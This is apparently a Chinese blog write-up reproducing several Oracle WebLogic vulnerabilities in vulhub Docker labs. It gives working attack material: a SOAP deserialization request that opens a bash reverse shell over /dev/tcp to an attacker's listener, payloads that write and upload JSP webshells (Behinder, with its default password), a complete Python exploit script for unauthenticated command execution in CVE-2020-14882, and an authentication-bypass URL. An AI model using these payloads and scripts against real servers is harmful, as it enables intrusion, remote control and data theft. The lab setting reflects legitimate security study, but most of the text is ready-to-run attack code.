漏洞复现-weblogic

漏洞复现-weblogic复现

开始复现咯

CVE-2014-4210

漏洞:SSRF漏洞

漏洞原因:weblogic中存在SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件。

漏洞复现:

1
2
3
cd vulhub/weblogic/CVE-2014-4210
docker-compose up -d
// 拉取完镜像后docker ps会有两个容器,一个是weblogic的,一个是redis的

访问如下路径:

1
/console/login/LoginForm.jsp

img

search然后抓包

img

1、post方法

如果指定端口开放则会返回带有404内容的提示,访问的端口不开放则会出现“not connect over”内容提示。

2、get方法

如果有Received a response字样就说明端口开放,没有就没开放。

CVE-2017-10271

漏洞:XMLDecoder反序列化漏洞

漏洞原因:
Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。

漏洞复现:

1
2
cd vulhub/weblogic/CVE-2017-10271
docker-compose up -d

漏洞存在于以下路径:/wls-wsat/CoordinatorPortType

访问http://youip//wls-wsat/CoordinatorPortType,显示如下页面就说明存在漏洞

web-10

然后在kali上开启监听

1
nc -nvlp 21

web-10

抓包发送构造好的请求包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 633

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/接收shell的ip/21 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

发送后出现如下的500错误就说明利用成功

web-10

然后回去看kali上,发现shell反弹回来了

web-10

接下来就尝试上传木马,这里利用冰蝎的shell.jsp,复制shell.jsp的代码替换<% out.print("test"); %>

post请求体如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
<void method="println"><string>
<![CDATA[
<% out.print("test"); %>
]]>
</string>
</void>
<void method="close"/>
</object></java></java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

发包后结果如下:

web-10

需要注意的是shell.jsp里有中文,需要把中文删掉再发包。

然后冰蝎连接

web-10

连接成功

CVE-2018-2628

CVE-2018-2894

漏洞:任意文件上传

漏洞原因:Weblogic管理端未授权的两个页面存在任意上传jsp文件漏洞,进而获取服务器权限。

漏洞复现:

1
2
cd vulhub/weblogic/CVE-2018-2894
docker-compose up -d

访问 http://your-ip:7001/console

web-1

在本地获取一下密码

1
# docker-compose logs | grep password

web-1

获取到密码后,输入用户密码进入后台

点击base_domain,然后点高级

web-1

勾选“启用 Web 服务测试页”,然后保存

web-1

然后访问未授权页面/ws_utc/config.do,修改Work Home Dir:
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

web-1

修改后点击提交即可。然后点安全,随便设一个名字和密码

web-1

点浏览选择冰蝎自带的shell.jsp文件,然后抓包上传

web-1

可以看到相应包里有时间戳(一会要用到),上传成功。之后就在浏览器访问我们刚刚上传的shell.jsp

1
http://yourip:7001/ws_utc/css/config/keystore/[时间戳]_shell.jsp

web-1

访问成功,接下来利用冰蝎(或者其他webshell都行)连接

1
密码是:rebeyond

web-1

连接成功

CVE-2020-14882

漏洞:未授权命令执行

漏洞原因:
未经身份验证的远程攻击者可能通过构造特殊的 HTTP GET请求,利用该漏洞在受影响的 WebLogic Server 上执行任意代码。

漏洞复现:

1
2
cd vulhub/weblogic/CVE-2020-14882
docker-compose up -d

img

一、命令执行

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import re
import sys
import requests
#下面这三行代码是为了解决requests的一个bug,就是Connection broken: IncompleteRead
#其实真正的原因我到现在也不清楚,但是下面这三行代码确实可以解决问题
#参考https://my.oschina.net/u/1538135/blog/858467
#python3.x中的httplib变成了http.client需要修改一下
import http.client
http.client.HTTPConnection._http_vsn = 10
http.client.HTTPConnection._http_vsn_str = 'HTTP/1.0'
if len(sys.argv) <3:
print('用法:python exp.py http(s):target-ip:target-port command')
sys.exit()
baseurl = sys.argv[1]
#去掉url最后面的/
if baseurl[-1]=='/':
baseurl = baseurl[0:-1]
#命令中包含空格的情况
cmd = sys.argv[2]
if len(sys.argv) > 3:
i = 3
while i < len(sys.argv):
#在linux中可以使用${IFS}代替空格
#windows的话部分命令可以使用=替代空格,大家可以自行修改脚本
cmd += ' '
cmd += sys.argv[i]
i += 1
#调试的时候使用burp代理抓包,便于发现脚本的问题
proxy = {"http": "http://127.0.0.1:8080"}
res = baseurl + "/console/css/%252e%252e%252fconsole.portal"
#设置不跟随302重定向,不然会获取不到cookie
#response = requests.get(res, proxies=proxy,allow_redirects=False)
response = requests.get(res, allow_redirects=False)
cookie_raw = response.headers['Set-Cookie']

matchObj = re.match( r'(.*); path=/.*?', cookie_raw, re.M|re.I)
if matchObj:
cookie = matchObj.group(1)
#print(cookie)
else:
print('未获取到cookie!')
sys.exit();

#获取到cookie之后,发送第二个请求,用于执行命令
#注意 useDelimiter("\\A") 这个地方的两个\,需要再次转义,不然python会把其中一个作为
#转义符处理,导致真正发送的请求中只包含一个\
res = baseurl + """/console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\\\A").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();')"""
headers = {"cookie":cookie, "cmd":cmd}
#response = requests.get(res, headers=headers, proxies=proxy, allow_redirects=False)
response = requests.get(res, headers=headers, allow_redirects=False)
print(response.text)

使用方法:python exp.py [ip]:[port] [command]

img

二、未授权访问

路径如下:

1
/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29

进入未授权的登录页面

img

参考文章1:https://blog.csdn.net/qq_43593134/article/details/119801840

参考文章2:https://blog.csdn.net/zy15667076526/article/details/110716069